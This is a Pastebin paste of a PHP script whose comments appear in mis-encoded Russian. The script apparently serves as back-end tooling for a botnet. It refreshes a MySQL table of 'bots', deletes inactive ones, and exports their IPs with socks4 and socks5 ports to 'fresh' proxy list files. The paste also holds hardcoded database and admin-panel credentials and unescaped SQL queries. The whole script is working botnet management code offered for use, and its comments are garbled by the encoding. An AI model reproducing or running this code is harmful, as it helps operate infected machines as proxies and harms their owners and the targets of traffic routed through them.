daily pastebin goal
15%
SHARE
TWEET

Untitled

a guest Jun 7th, 2017 69 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ?php
  2.  
  3. //////////////////////////
  4. /*
  5. Ýòîò ñêðèïò
  6. 1) Îáíîâèò áàçó, óäàëèò äîõëûõ áîòîâ
  7. 2) Çàïèøåò ñïèñîê (îñòàâøèéñÿ) socks4 â ôàéë
  8. 3) Çàïèøåò ñïèñîê (îñòàâøèéñÿ) socks5 â ôàéë
  9. //////////////////////////
  10. */
  11.  
  12. /* ôàéëû äëÿ ñîõðàíåíèÿ ñïèñêà ñîêñ4/5 */
  13. $socks4file = "socks4.fresh.txt";
  14. $socks5file = "socks5.fresh.txt";
  15.  
  16. /* ïàðîëü äîñòóïà ê àäìèíêå */
  17. $password = "qwerty";
  18.  
  19. /* MySQL */
  20. $mysql_host = "ftp.drivehq.com";
  21. $mysql_user = "hacker0007";
  22. $mysql_password = "qwerty";
  23.  
  24. /* èìÿ ÁÄ */
  25. $mysql_dbname = "test";
  26.  
  27. /* èìÿ òàáëèöû */
  28. $mysql_bots_table = "bots";
  29.  
  30. /* âðåìÿ óäàëåíèå íåàêòèâíûì áîòîâ.. ñòàâüòå ÷óòü áîëüøå ÷åì â áîòå */
  31. $refreshtime = 15;
  32.  
  33. /* updates DB */
  34. function db_update()
  35. {
  36.     GLOBAL $mysql_host, $mysql_user, $mysql_password, $mysql_dbname, $mysql_bots_table, $refreshtime;
  37.     if (!@mysql_connect( $mysql_host, $mysql_user, $mysql_password ))
  38.         return "Cannot connect to database";        
  39.     mysql_select_db( $mysql_dbname );
  40.    
  41.     $r = mysql_query( "SELECT time, nickname FROM $mysql_bots_table" );
  42.     while ($r && $arr = mysql_fetch_array( $r ))
  43.     {
  44.         $time = $arr["time"];
  45.         $nickname = $arr["nickname"];
  46.         if (time() - $time > $refreshtime)
  47.             mysql_query( "DELETE FROM $mysql_bots_table WHERE nickname=\"$nickname\"" );
  48.     }
  49.  
  50.     mysql_close();
  51.     return "OK";
  52. }
  53.  
  54. function db_savesocks4()
  55. {
  56.     GLOBAL $mysql_host, $mysql_user, $mysql_password, $mysql_dbname, $mysql_bots_table, $refreshtime, $socks4file;
  57.  
  58.     if (!@mysql_connect( $mysql_host, $mysql_user, $mysql_password ))
  59.         return "Cannot connect to database";        
  60.     mysql_select_db( $mysql_dbname );
  61.  
  62.     $f = fopen( $socks4file, "w" );
  63.  
  64.     $r = mysql_query( "SELECT ip,socks4 FROM $mysql_bots_table WHERE socks4" );
  65.     $i = 0;
  66.     while ($r && $arr = mysql_fetch_array( $r ))
  67.     {
  68.         $s4 = $arr["socks4"];
  69.         $ip = $arr["ip"];
  70.         fwrite( $f, "$ip:$s4\r\n" );
  71.         $i++;
  72.     }    
  73.  
  74.     fclose( $f );
  75.     mysql_close();
  76.     return $i;
  77. }
  78.  
  79. function db_savesocks5()
  80. {
  81.     GLOBAL $mysql_host, $mysql_user, $mysql_password, $mysql_dbname, $mysql_bots_table, $refreshtime, $socks5file;
  82.  
  83.     if (!@mysql_connect( $mysql_host, $mysql_user, $mysql_password ))
  84.         return "Cannot connect to database";        
  85.     mysql_select_db( $mysql_dbname );
  86.  
  87.     $f = fopen( $socks5file, "w" );
  88.  
  89.     $r = mysql_query( "SELECT ip,socks5 FROM $mysql_bots_table WHERE socks5" );
  90.     $i = 0;
  91.     while ($r && $arr = mysql_fetch_array( $r ))
  92.     {
  93.         $s5 = $arr["socks5"];
  94.         $ip = $arr["ip"];
  95.         fwrite( $f, "$ip:$s5\r\n" );
  96.         $i++;
  97.     }    
  98.  
  99.     fclose( $f );
  100.     mysql_close();
  101.     return $i;
  102. }
  103.  
  104. print "Updating DB...";
  105. print db_update()."\n";
  106. print "Saving $socks4file file...";
  107. print "Saved ".db_savesocks4()." items\n";
  108. print "Saving $socks5file file...";
  109. print "Saved ".db_savesocks5()." items\n";
  110.  
  111. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top